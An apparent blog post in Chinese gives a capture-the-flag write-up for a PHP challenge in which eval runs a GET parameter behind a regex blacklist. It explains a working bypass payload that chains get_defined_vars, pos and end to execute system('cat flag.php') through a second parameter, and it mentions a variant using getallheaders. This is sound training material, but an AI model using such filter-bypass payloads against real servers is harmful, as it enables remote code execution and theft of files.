0
点赞
收藏
分享

微信扫一扫

catflag web wp

中间件小哥 2022-02-07 阅读 60

命令执行之我在哪


<?php
highlight_file(__FILE__);
if(isset($_GET['cmd'])){
    if(!preg_match('/php:\/\/|data:\/\/|phar:\/\/|phpinfo()|info|rm|find|flag|rm|\/|echo|\.|\\\|\*|\?/i',$_GET['cmd'])){
        @eval($_GET['cmd']);
    }else{
        echo "danger_string";
    }
}else{
    echo "你啥也不输入,给你个假的flag:flag{error_flag}";
}
# mumuzi到此一游
?>

很明显是一个命令执行的题目
正则过滤的东西还是蛮多的
直接上方法吧

法一

paylaod
eval(end(pos(get_defined_vars())));&a=system("cat flag.php");
解释一下
这里我们先使用get_defined_vars(),首先看一下它的回显 返回由所有已定义变量所组成的数组

$_GET
$_POST
$_FILES
$_COOKIE

我们这里的选择也就具有多样性,可以利用$_GET进行RCE,例如 给变量后面添加一个a 就成这样
?cmd=var_dump(get_defined_vars());&a=1; 得到的结果如下
在这里插入图片描述那么我们就可以构造而已参数 比如 system('ls'); 然后想办法让他执行 我们就可以所以 先使用 pos 输出数组中的当前元素的值:
然后在使用 end 提取出来 使用eval执行 就ok了

第二个方法

在这里插入图片描述

第二个的payload是这样的
之前我们获取的是所有环境变量的列表,但其实我们并不需要这么多信息。仅仅http header即可
在apache2环境下,我们有函数getallheaders()可返回 剩下的还上面法一的操作一样

举报

相关推荐

0 条评论